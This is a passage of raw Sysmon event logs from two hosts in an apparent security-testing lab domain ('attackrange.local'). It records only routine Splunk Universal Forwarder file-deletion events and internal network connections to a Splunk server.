14:57:33.397{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59479-false10.0.1.12-8000- 23542300x800000000000000048507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:37.481{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3260CB2A061B56A10F7593796E6F6EDA,SHA256=BEDEBF530A24CE884BDF79DAE68625817B5AF1B9F13FC42D812255863490F2E3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016277Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:37.420{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A21E30C7969180FC197D88614004E243,SHA256=9C5F2CB2E38737DEF5962C1581685399F673FED662CA0156D3650239BDB580FE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016276Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:37.295{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=47DC00F3956D4309FA4624381A98B722,SHA256=C9F03A12AD4AFAC42F2D5198306EE4EC1D4107AE24AC883C4EAC88DB50B5032D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:38.700{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C946143FCFCA9950AB2707820EEDFBD9,SHA256=BADDD61DD520CEA8CE39C4644A410D5D9E6B791D63B4A20140CCC46DBBD52EE2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016278Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:38.295{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=017AF84B13AF66E987AA385E50EADF94,SHA256=44CA41CE44617F6153DDE84BCDBED2B4379A0498FBFBB4136C624F870C0B1C33,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:39.731{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8F368BA2B9C3829C3C706476BA2FE724,SHA256=1E988F8533A1F80AA7032A53B59725CBDD223CFB61F3399B32BFA211F201510B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016279Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:39.311{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=03F4BEE083AE6B6DA02A4514BCE2709A,SHA256=46712C1FCCA007738E9C42E6AB0AE6CD8E9F038E729BDF32B45A859AA08A15A7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:40.763{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7390950304DB76B7ED8BD0A0F7E63BD4,SHA256=8815DCB074D93FD4102C5F4E52267095B97806B89094E3B997259DC933557F80,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016280Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:40.311{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EC0C20FB218D14CA435F36227465438C,SHA256=D73A4446D8D7FD064BE4E078FC7F2CFD2D1CD2025ECB171B16D59D3E782CC82B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:41.903{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=69898E751FAF817E5DA8F6635AD4D616,SHA256=4E980C07DEEB5AFFEE090944341FB45A396BE95AC43C62B85CF03956E91ECE18,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016281Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:41.327{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=10A8A2F5F08A1BDECAB9BF3395264218,SHA256=F6333CA8AEEEF94D5C9544085857F265A075ED1F7B09AA0D38BDDED81EC81CAA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016282Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:42.342{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CA360D637992B9DCCFBAF206A2065268,SHA256=9AF50F280EA5AA03804DB446C6C69A2D0FEBA0F0DA223483554853E8692BCC80,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:38.521{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59480-false10.0.1.12-8000- 23542300x800000000000000016284Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:43.358{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8D2710A45F34C789C09F7937FD4820A9,SHA256=9469385CD98040F47FCE258E41381DB5AEE670643C91B2173E8D9EA8A5E4AEAD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:43.138{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=76B2E8C30E543C883CF6B61484F8C309,SHA256=17B05B1F42F265C656A1C7D39E739CFC2F9CC49DECF9D44E2E831A35FBEAE57E,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016283Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:41.508{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50277-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016285Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:44.373{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E63A8F70C6AE1FDE62FB4754D6B6A56,SHA256=D6E5B699900BA0DCDC0583D0448E3664CF1BCEBB57E275BB0390483DC34E8010,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:44.153{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4284A587189121DD66A1A50532B468BB,SHA256=8B66DED0D6D2C2E687BE52B0FA18AF97EBE27863A52F57C3CFC9947491C506E1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016286Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:45.389{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0CB58839714ED3D69566E5DBA239C59A,SHA256=F3F5EED020B812CAC819850AB8707EA2F82413C1062C1272C47E8E4BB6A65EE4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:45.169{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CDCFC297ECA11275FE8E4631C1E49C3B,SHA256=3665BE0A1DF34FC501360ADC2C3927CA6FB645BE98FD67CB832B0E1DC6461CF5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016287Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:46.405{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4C79672DE7BF6A133BC447DEDD4B97E6,SHA256=FFE13974C643EE3F7C23608741E34585A580847D82393A97655D5B235AF20B2F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:46.200{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4E86DFAA1E9536B3D5A2640096B56663,SHA256=01EB725324CC56F931F32CD8BB105CDB39CE96C4CF25D38BC9A2429B55CAD39E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016288Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:47.420{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2D09685F02CC78521C5DF577148E16EE,SHA256=EE3F6244F43DD2B92E0B85C3754E9F32D0C43B8FC77D9C673CE5E3490D24508B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:47.309{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6A6B45529F1F95592738442D7CA4AC42,SHA256=71A6FF98C83E005111A6148B52C2E0170054C113B4AF34A7BDCB7142D401B656,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:43.537{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59481-false10.0.1.12-8000- 23542300x800000000000000016290Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:48.436{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EF152B7DE2EFE1C68D1F8B74CD2B48D2,SHA256=6FDCC1E4D24514281ED8A0BC93E7B796066DF5E1454D8FEA38D7EB38E855B176,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:48.325{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=268B102D9EA51C072042029BBC3ACD19,SHA256=4CA21364D5750548B3D3C64652C65D86FE8B8D6A8AFBF19FAABE273BA2F29EDA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016289Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:46.555{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50278-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016291Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:49.436{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ACF7B9036EC7511D7B45D22A4B7CBA80,SHA256=C42910ABCC2DF2390CA7A90036812968D6C03ACD457D71975985DB232B75A394,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:49.341{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A4C150BEDF652887E8011BABA9FB3A16,SHA256=240283F45CE108689B1E0DF811AB4B017AEEFA04665D8603F4D355BC0D10A7F9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016292Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:50.451{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=357EF0A23ACA9485EAA8D0EAFC001D13,SHA256=D878B06B49F19CB89E35644F301AA01F11A552B3C15ACE467B5DECF815E46E7E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:50.356{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EBCCA20E25399A148611B548ED205918,SHA256=37623AC73C3D4874F31850BF48C277F57C98B3B78626D66B9BFEFABF84EE6E0F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016293Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:51.463{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=900A0B3704A1D1FA40FBD3853481A598,SHA256=EA03DD53CA2C4CA0A4F1761E036B7C5BAAF0535592CC587B34DCB3B0BD62E7A2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:51.368{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EF4F0DF326E5305B6FE713097BE13F07,SHA256=011784EFD57F118D1A658EF116ADC2AF33654FC2BDD8BACFAB011D674D2079F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016294Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:52.494{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=08AFD7BE9F793010275516759C27CF70,SHA256=EDBD2A1032209FDEF7129330E9AC5BD0DD2D94C9BE48B95529F12B13FE0D6311,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:52.383{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D8D2B7CA105F87026E541C46EFBA8C77,SHA256=8BA9769D77B5C3D79AC4CAEDA15B04D719BDAA9428136C6DF9208785CBE16EDE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:49.381{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59482-false10.0.1.12-8000- 23542300x800000000000000016295Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:53.541{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2571D64033F915A5AB7DD53ABE58BF78,SHA256=7FB0CF605FA211F2EF6F2430BE263ED81C1FB51155D93916C2E86CCAE3102F8C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:53.399{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5B4E191C3639DA2D552A200971BE950E,SHA256=8473D20624149DFA22B026BE7974BC94D485E0FE20A7891D140DEA72B3EBB4B6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016297Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:54.557{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB318CA47443B104CC7294EA743D1074,SHA256=3B23182E561C266EB10ACA52C9DDFC5F515A09B527E206218B02C5E2718CDE3B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:54.415{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=44B66D67BC7AA984122AAA7FCBF2859C,SHA256=1506311721B8B29AD283486519A016EE4A2010C5B76BE2C853BBF712F0EF4ADA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016296Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:52.567{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50279-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016299Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:55.604{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3A42F569513E1C6AE92432F69335DC8A,SHA256=2A68A13CEA6D0C0B0271E0BF90C8AD34466BFC4E07A7716AE2B0346FB5F0BB5A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:55.415{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F8BF8D831B0D61E8ABCFBE7F58571F1B,SHA256=82AE5BBB7F1A6A3EC26C7FD0704BCA250C42DEC1BE89AA34630A6D5F9AEE774E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016298Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:54.994{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016301Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:56.682{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=636292B6ACCD2BDBD4AB1423DEA66979,SHA256=38CAB4D61A54845B3D379C5B49D6DA6D37EE1EBBCC502EC8D84D2D84BA5C77A7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:54.392{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59483-false10.0.1.12-8000- 23542300x800000000000000048528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:56.430{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C24C8741F43AA3A7EC32F2D06AC7A150,SHA256=495D364996EF63CCACEB6933C7DF1277464A7F19CFC16AC56B0C7C7E8A0102E5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016300Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:55.301{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50280-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000016302Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:57.682{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=06E3FC32216164BC310372EC7CB95605,SHA256=380E08BEF0FB45DB567E3DF91A70757A3103850C0467508498F6AB1218BFCCCD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:57.446{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F7953C827FE74B6AA90DE50DC862764D,SHA256=4361B4286BCFDC4C2D50375D330E46988DA6C1963BE828174CB4E79077D48D65,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016303Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:58.729{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8001985AE08626321910976B9F7F67D2,SHA256=D23A583D67E3F31428CD0E1CCB28C3547445CC248253012D742885800675B56E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.462{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 